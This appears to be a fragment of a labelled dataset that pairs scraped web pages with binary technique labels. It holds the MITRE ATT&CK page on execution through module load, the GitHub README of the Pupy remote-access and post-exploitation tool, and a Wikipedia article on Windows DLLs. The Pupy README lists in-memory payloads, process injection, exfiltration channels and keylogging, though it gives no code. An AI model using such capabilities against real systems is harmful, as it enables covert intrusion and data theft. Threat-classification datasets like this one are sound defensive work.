Trademarks","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Execution through Module Load - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Execution through Module Load Execution through Module Load The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. [1] The module loader can load DLLs: via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory; via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension); via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs; via in an embedded or external ""application manifest"". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT. Adversaries can use this functionality as a way to execute arbitrary code on a system. ID:\xc2 T1129 Tactic: Execution Platform:\xc2 Windows Permissions Required:\xc2 User Data Sources:\xc2 API monitoring, DLL monitoring, File monitoring, Process monitoring Contributors:\xc2 Stefan Kanthak Version:\xc2 1.0 Mitigations Mitigation Description Execution Prevention Identify and block potentially malicious software executed through this technique by using application whitelisting tools capable of preventing unknown DLLs from being loaded. Examples Name Description Astaroth Astaroth uses the LoadLibraryExW() function to load additional modules. [5] Hydraq Hydraq creates a backdoor through which remote attackers can load and call DLL functions. [3] [4] PUNCHBUGGY PUNCHBUGGY can load a DLL using the LoadLibrary API. [2] Detection Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior. References Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018. Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018. Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - n1nj4sec/pupy: Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 438 Star 4,935 Fork 1,325 n1nj4sec/pupy Code Issues 92 Pull requests 1 Projects 0 Wiki Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python pupy python remote-access post-exploitation pentesting windows linux android rat shell reverse-shell reflective-injection backdoor payload meterpreter remote-admin-tool mac-os 2,993 commits 2 branches 1 release 28 contributors View license Python C Shell Go C# Makefile Other Python 83.4% C 10.6% Shell 1.9% Go 1.1% C# 1.0% Makefile 0.9% Other 1.1% Branch: unstable New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in n1nj4sec/pupy? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back AlessandroZ Merge branch 'unstable' of https://github.com/n1nj4sec/pupy into unst\xe2\x80\xa6 \xe2\x80\xa6 \xe2\x80\xa6able Latest commit fbdca4e Aug 22, 2019 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. client Use wmi from pip Mar 11, 2019 pupy Merge branch 'unstable' of https://github.com/n1nj4sec/pupy into unst\xe2\x80\xa6 Aug 22, 2019 .gitignore gitignore: Add db/ Feb 9, 2019 .gitmodules Rework exploit suggestors Mar 10, 2019 .travis.yml Travis CI: Do not hard-code Trusty, it EOLs next month Mar 23, 2019 LICENSE updating license May 29, 2016 README.md more grammar correction Oct 31, 2018 build-docker.sh Docker.compose: Move Dockerfile to build directory Oct 2, 2018 create-workspace.py fix some dependencies installation by updating pip in virtualenv Nov 13, 2018 install-termux.sh Termux: install deps from pupy dir (fix pykcp build) Sep 11, 2018 install.sh change install.sh not to use reserved shell variables for user Oct 3, 2018 start-compose.sh Fix case when UID is None Oct 3, 2018 README.md Pupy Installation Installation instructions are on the wiki, in addition to all other documentation. For maximum compatibility, it is recommended to use Docker Compose. Refer to the wiki Description Pupy is a cross-platform, multi function RAT and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory. Features Windows payload can load the entire Python interpreter from memory using a reflective DLL. Pupy does not touch the disk. Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes. PyCrypto gets replaced by pure Python AES & RSA implementations when unavailable. Reflectively migrate into other processes. Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory. Imported python modules do not touch the disk. Easily extensible, modules are simple to write and are sorted by os and category. Modules can directly access python objects on the remote client using rpyc. Access remote objects interactively from the pupy shell and get auto-completion of remote attributes. Communication transports are modular and stackable. Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports. Communicate using obfsproxy pluggable transports. Execute noninteractive commands on multiple hosts at once. Commands and scripts running on remote hosts are interruptible. Auto-completion for commands and arguments. Custom config can be defined: command aliases, modules. automatically run at connection, etc. Open interactive python shells with auto-completion on the all-in-memory remote python interpreter. Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely. Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell. Execute PE executable remotely and from memory. Generate payloads in various formats: Format Architecture Short Name Android Package x86 & ARMv7 apk Linux Binary x86 lin_x86 Linux Binary x64 lin_x64 Linux Shared Object x86 so_x86 Linux Shared Object x64 so_x64 Windows PE Executable x86 exe_x86 Windows PE Executable x64 exe_x64 Windows DLL x86 dll_x86 Windows DLL x64 dll_x64 Python Script x86 & x64 py PyInstaller x86 & x64 pyinst Python Oneliner x86 & x64 py_oneliner Powershell x86 & x64 ps1 Powershell Oneliner x86 & x64 ps1_oneliner Ducky Script N/A rubber_ducky Deploy in memory from a single command line using python or powershell one-liners. Embed ""scriptlets"" in generated payloads to perform some tasks ""offline"" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.) Multiple Target Platforms: Platform Support Status Windows XP Supported Windows 7 Supported Windows 8 Supported Windows 10 Supported Linux Supported Mac OSX Limited Support Android Limited Support Documentation All documentation can be found on the wiki. Refer to the wiki FAQ Does the server work on windows? Pupy has not been tested on Windows. Theoretically, it should work on any platform that supports Docker and Docker Compose. However, you will need to adapt the Docker Compose installation instructions for the Windows platform. I can't install Pupy. The installation fails. Please refer to the wiki. It is possible that your answer is there. Search the Github issues and see if your issue was already solved. If you issue was not solved, open a new issue following the issue guidelines. If you do not follow these steps, you issue will be closed. Android and/or Mac OSX payloads and modules don't work. Pupy has limited support for Android and OSX. These platforms may not be well maintained and may break intermittently. Some modules (i.e. keylogger) may be missing for these platforms. Development If some of you want to participate to pupy development, don't hesitate! All help is greatly appreciated and all pull requests will be reviewed. Also there is small note about development. Please run flake8 before doing any commits. File with config is here. Contact Platform Contact Info Email contact@n1nj4.eu Twitter https://twitter.com/n1nj4sec This project is a personal development, please respect its philosophy and don't use it for evil purposes! Special thanks Special thanks to all contributors that help improve pupy and make it a better tool! :) \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","1","1","0","1","1","1","1","1","1","1","1","0","0","0","0","1","0","0","1","1","0","0","0","1","0","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","1","0","0","0","0","0","1","1","0","0","0","0","1","1","0","1","0","0","0","0","0","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","1","0","1","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0" -"Microsoft Windows library files - Wikipedia Microsoft Windows library files From Wikipedia, the free encyclopedia Jump to navigation Jump to search This article has multiple issues. Please help improve it or discuss these issues on the talk page. (Learn how and when to remove these template messages) This article's lead section does not adequately summarize key points of its contents. Please consider expanding the lead to provide an accessible overview of all important aspects of the article. Please discuss this issue on the article's talk page. (February 2013) This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed. Find sources:\xc2 ""Microsoft Windows library files""\xc2 \xe2\x80\x93\xc2 news\xc2 \xc2\xb7 newspapers\xc2 \xc2\xb7 books\xc2 \xc2\xb7 scholar\xc2 \xc2\xb7 JSTOR (February 2013) (Learn how and when to remove this template message) (Learn how and when to remove this template message) The Microsoft Windows operating system supports a form of shared libraries known as ""dynamic-link libraries"", which are code libraries that can be used by multiple processes while only one copy is loaded into memory. This article provides an overview of the core libraries that are included with every modern Windows installation, on top of which most Windows applications are built. Contents 1 Internal components 1.1 Hal.dll 1.2 NTDLL.DLL 2 Win32 API 2.1 KERNEL32.DLL 2.2 GDI32.DLL 2.3 USER32.DLL 2.4 COMCTL32.DLL 2.5 COMDLG32.DLL 2.6 WS2_32.DLL 2.7 ADVAPI32.DLL 2.8 NETAPI32.DLL 2.9 OLE32.DLL 3 Other APIs 3.1 SHSCRAP.DLL 3.2 WINMM.DLL 3.3 IMM32.DLL 4 Runtime libraries 4.1 MSVCRT.DLL, MSVCP*.DLL and CRTDLL.DLL 4.2 Other runtime libraries 4.3 .NET Framework libraries 5 See also 6 References 7 External links Internal components[edit] HAL.DLL is a kernel-mode library file and it cannot be used by any user-mode program. NTDLL.DLL is only used by some programs, but it is a dependency of most Win32 libraries used by programs. Hal.dll[edit] The Windows Hardware Abstraction Layer (HAL) is implemented in Hal.dll.[1] The HAL implements a number of functions that are implemented in different ways by different hardware platforms, which in this context, refers mostly to the chipset. Other components in the operating system can then call these functions in the same way on all platforms, without regard for the actual implementation. For example, responding to an interrupt is quite different on a machine with an Advanced Programmable Interrupt Controller (APIC) than on one without. The HAL provides a single function for this purpose that works with all kinds of interrupts by various chipsets, so that other components need not be concerned with the differences. The HAL is loaded into kernel address space and runs in kernel mode, so routines in the HAL cannot be called directly by applications, and no user mode APIs correspond directly to HAL routines. Instead, the HAL provides services primarily to the Windows executive and kernel and to kernel mode device drivers. Although drivers for most hardware are contained in other files, commonly of file type .sys, a few core drivers are compiled into Hal.dll. Kernel mode device drivers for devices on buses such as PCI and PCI Express directly call routines in the HAL to access I/O ports and registers of their devices. The drivers use HAL routines because different platforms may require different implementations of these operations. The HAL implements the operations appropriately for each platform, so the same driver executable file can be used on all platforms using the same CPU architecture, and the driver source file can be portable across all architectures. On x86 systems, there are several different HAL files on the installation media. The Windows installation procedure determines which ones are appropriate for the current platform and copies it to the hard drive, renaming it to Hal.dll if necessary. Among the criteria for this selection are: the presence of an ACPI-compatible BIOS, the presence of an APIC, and whether or not multiple processors are present and enabled. (The multiple cores of a multi-core CPU, and even the ""logical processors"" implemented by a hyperthreading CPU, all count as ""processors"" for this purpose.) On x86-64 and Itanium platforms there is just one possible Hal.dll for each CPU architecture. NTDLL.DLL[edit] NTDLL.DLL exports the Windows Native API. The Native API is the interface used by user-mode components of the operating system that must run without support from Win32 or other API subsystems. Most of this API is implemented in NTDLL.DLL and at the upper edge of ntoskrnl.exe (and its variants), and the majority of exported symbols within these libraries are prefixed Nt, for example NtDisplayString. Native APIs are also used to implement many of the ""kernel APIs"" or ""base APIs"" exported by KERNEL32.DLL.[2][3][4] The large majority of Windows applications do not call NTDLL.DLL directly.[5] Applications that are linked directly against this library are said to use the native subsystem; the primary reason for their existence is to perform tasks that must run early in the system startup sequence before the Win32 subsystem is available. An obvious but important example is the creation of the Win32 subsystem process, csrss.exe. Before the csrss.exe process exists, no Win32 processes may be created, therefore the process that creates it (Smss.exe, the ""session manager"") must use the native subsystem. csrss.exe itself is such an application. Despite having an "".exe"" file extension, native applications cannot be executed by the user (or any program in the Win32 or other subsystems). An example is the autochk.exe binary that runs chkdsk during the system initialization ""Blue Screen"". Other prominent examples are the services that implement the various subsystems, such as csrss.exe. Unlike Win32 applications, native applications instantiate within the Kernel runtime code (ntoskrnl.exe) and so they must have a different entry point (NtProcessStartup, rather than (w)(Win)MainCRTStartup as is found in a Win32 application),[3] obtain their command-line arguments via a pointer to an in-memory structure, manage their own memory using the Rtl heap API, (which the Win32 heap APIs are just wrappers around\xe2\x80\x94no real difference there) and return execution with a call to NtTerminateProcess (as opposed to ExitProcess). A common library linked with Native applications is nt.lib, which contains startup code for Native applications, similar to how the C runtime provides startup code for Win32 apps.[6] Though most of the API is undocumented, Native Applications can be built using the Windows Driver Development Kit; many antivirus software and other utility software vendors incorporate Native Applications within their products, usually to perform some boot-time task that cannot be carried out in userspace.[citation needed] Win32 API[edit] Further information: Windows API The libraries in this section each implement various subsets of the Win32 API. KERNEL32.DLL[edit] KERNEL32.DLL exposes to applications most of the Win32 base APIs, such as memory management, input/output (I/O) operations, process and thread creation, and synchronization functions. Many of these are implemented within KERNEL32.DLL by calling corresponding functions in the native API, exposed by NTDLL.DLL.[7][failed verification] GDI32.DLL[edit] GDI32.DLL exports Graphics Device Interface (GDI) functions that perform primitive drawing functions for output to video displays and printers. It is used, for example, in the XP version of Paint. Applications call GDI functions directly to perform low-level drawing (line, rectangle, ellipse), text output, font management, and similar functions.[7][8] Initially, GDI supported 16 and 256 color EGA/VGA display cards and monochrome printers. The functionality has expanded over the years, and now includes support for things like TrueType fonts, alpha channels, and multiple monitors.[9] USER32.DLL[edit] Further information: Windows USER USER32.DLL implements the Windows USER component that creates and manipulates the standard elements of the Windows user interface, such as the desktop, windows, and menus. It thus enables programs to implement a graphical user interface (GUI) that matches the Windows look and feel. Programs call functions from Windows USER to perform operations such as creating and managing windows, receiving window messages (which are mostly user input such as mouse and keyboard events, but also notifications from the operating system), displaying text in a window, and displaying message boxes. Many of the functions in USER32.DLL call upon GDI functions exported by GDI32.DLL to do the actual rendering of the various elements of the user interface. Some types of programs will also call GDI functions directly to perform lower-level drawing operations within a window previously created via USER32 functions. COMCTL32.DLL[edit] COMCTL32.DLL implements a wide variety of standard Windows controls, such as File Open, Save, and Save As dialogs, progress bars, and list views. It calls functions from both USER32.DLL and GDI32.DLL to create and manage the windows for these UI elements, place various graphic elements within them, and collect user input. COMDLG32.DLL[edit] COMDLG32.DLL, the Common Dialog Box Library, implements a wide variety of Windows dialog boxes intended to perform what Microsoft deems 'common application tasks'. Starting with the release of Windows Vista, Microsoft considers the ""Open"" and ""Save as"" dialog boxes provided by this library as deprecated and replaced by the 'Common Item Dialog API'.[10] WS2_32.DLL[edit] WS2_32.DLL implements the Winsock API, which provides TCP/IP networking functions and provides partial, broken compatibility with other network APIs. wsock.dll and wsock32.dll are older versions for Win3.11 and Win95 compatibility. ADVAPI32.DLL[edit] ADVAPI32.DLL provides security calls and functions for manipulating the Windows Registry. NETAPI32.DLL[edit] NETAPI32.DLL provides functions for querying and managing network interfaces. OLE32.DLL[edit] OLE32.DLL provides the Component Object Model, as well as Object Linking and Embedding. Other APIs[edit] SHSCRAP.DLL[edit] SHSCRAP.DLL is part of the Object Linking and Embedding (OLE) mechanism. It implements support for shell scrap files, which are automatically created when you drag selected content from an OLE-capable application into an Explorer window or desktop,[11] but you can also use the Object Packager to create them. They can then be dragged into another OLE-capable application. This functionality was removed from Windows Vista (and therefore later versions) to improve security and rid the operating system of generally unused functionality.[12] Scrap (.shs) files have been used by viruses because they can contain a wide variety of files (including executable code), and the file extension is not shown even when ""Hide file extensions from known file types"" is disabled.[13] The functionality can be restored by copying registry entries and the DLL from a Windows XP system.[14] WINMM.DLL[edit] WINMM.DLL provides access to the original WinMM audio API. IMM32.DLL[edit] IMM32 is responsible for invoking and interacting with the Input Method Editor. Runtime libraries[edit] MSVCRT.DLL, MSVCP*.DLL and CRTDLL.DLL[edit] MSVCRT.DLL is the C standard library for the Visual C++ (MSVC) compiler from version 4.2 to 6.0. It provides programs compiled by these versions of MSVC with most of the standard C library functions. These include string manipulation, memory allocation, C-style input/output calls, and others. MSVCP*.DLL is the corresponding C++ library. It has shipped with Windows versions since Windows 95 OSR2 for use by other Windows components; earlier versions shipped with the CRTDLL.DLL library instead. In older versions of Windows, programs which linked against MSVCRT.DLL were expected to install a compatible copy in the System32 folder, but this contributed to DLL Hell because many installers failed to check the library version against the installed version before replacing it. Versions of MSVC before 4.0 and from 7.0 to 13.0 used differently named DLLs for each version (MSVCR20.DLL, MSVCR70.DLL, MSVCR71.DLL, MSVCP110.DLL, etc.). Applications are required to install the appropriate version,[15] and Microsoft offers Visual C++ Redistributable packages for this purpose, though Windows typically comes with one version already installed. With Version 14.0, most of the C/C++ runtime was moved into a new DLL, UCRTBASE.DLL. However, C/C++ programs using UCRTBASE.DLL are forced to link against another new DLL, the VCRuntime, whose name continues to change with each version of MSVC (e.g. VCRUNTIME140.DLL). Source code for runtime libraries is included in Visual C++[16] for reference and debugging (e.g. in C:\\Program Files\\Microsoft Visual Studio 11.0\\VC\\crt\\src). This runtime library is used by programs written in Visual C++ and a few other compilers (e.g. MinGW). Some compilers have their own runtime libraries. Other runtime libraries[edit] ATL*.DLL \xe2\x80\x93 Active Template Library MFC*.DLL \xe2\x80\x93 Microsoft Foundation Classes MSVBVM60.DLL \xe2\x80\x93 Visual Basic 6.0 Virtual Machine (Visual Basic.NET programs require .NET Framework instead) VCOMP*.DLL \xe2\x80\x93 Microsoft OpenMP runtime VCRUNTIME*.DLL \xe2\x80\x93 Microsoft VCRuntime, for MSVC 14.0+ MSVCIRT.DLL \xe2\x80\x93 Microsoft C++ Library, contains the deprecated C++ classes from (note the file extension) for MS C 9 and 10 (MSVC 2.x, 4.x) (Back then, the draft C++ Standard Library was integrated within MSVCRT.DLL. It was split up with the release of Visual C++ 5.0) .NET Framework libraries[edit] Programs written in C#, Visual Basic.NET, C++/CLI and other .NET languages require the .NET Framework. It has many libraries (one of them is mscorlib.dll\xc2 \xe2\x80\x93 Multilanguage Standard Common Object Runtime Library, formerly Microsoft Common Object Runtime Library[17]) and so-called assemblies (e.g. System.Windows.Forms.dll). See also[edit] Architecture of Windows NT Windows NT startup process List of Microsoft Windows components Windows API Dynamic link library References[edit] ^ Blunden, Bill (2009). The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System. Jones & Bartlett Learning. p.\xc2 101. ISBN\xc2 978-1-59822-061-2. ^ Eilam, Eldad (2011). Reversing: Secrets of Reverse Engineering. John Wiley & Sons. pp.\xc2 68\xe2\x80\x9369. ISBN\xc2 978-1-118-07976-8. ^ a b ""Inside Native Windows Applications"". Archived from the original on 2010-09-12. Retrieved 2011-12-14. ^ Russinovich, Mark A. & Solomon, David A. (2009). Windows\xc2\xae Internals. O'Reilly Media. p.\xc2 136. ISBN\xc2 978-0-7356-3796-2. ^ Marceau, Carla & Stillerman, Matt (2006). ""Modular behavior profiles in systems with shared libraries"". In Neng, Peng; et al. (eds.). Information and Communications Security: 8th International Conference, ICICS 2006\xc2 \xe2\x80\x93 Raleigh, NC, USA, December 4\xe2\x80\x937, 2006\xc2 \xe2\x80\x93 proceedings. Springer. p.\xc2 371. ISBN\xc2 978-3-540-49496-6. ^ https://technet.microsoft.com/en-us/sysinternals/bb897447.aspx ^ a b Visual Studio Developer Center: Identifying Functions in DLLs ^ See also, the documentation for the Wine implementation of GDI32.DLL: Wine API: gdi32.dll ^ Yuan, Feng (2001). Windows graphics programming: Win32 GDI and DirectDraw. Prentice Hall Professional. p.\xc2 71. ISBN\xc2 978-0-13-086985-2. ^ ""Common Dialog Box Library (Windows)"". msdn.microsoft.com. Retrieved 2017-10-25. ^ ""WD: What is a Scrap (.shs) file?"". Microsoft Knowledge Base. ^ Raymond Chen. ""Windows Confidential: Scrapping the Scraps"". Retrieved 2011-12-14. ^ ""VBS.Stages.A"". symantec.com. ^ ""How to open SHS files"". Retrieved 2011-12-14. ^ ""C Run-Time Libraries"". Retrieved 2011-12-14. ^ http://msdn.microsoft.com/en-us/library/aa296413(v=vs.60).aspx ^ http://weblogs.asp.net/mreynolds/archive/2004/01/31/65551.aspx External links[edit] Wikibooks has a book on the topic of: Windows Programming/GDI and Drawing API calls list (USER32.DLL)\xc2 \xe2\x80\x93 Tips for using the User API Client Library with Visual Basic API calls list (KERNEL32.DLL)\xc2 \xe2\x80\x93 Tips for using the Kernel API Client Library with Visual Basic Native API reference Unofficial website that documents most of the Native API methods Retrieving the KERNEL32.DLL base address v t e Microsoft Windows components Management tools App Installer Command Prompt Control Panel Applets Device Manager Disk Cleanup Disk Defragmenter Driver Verifier 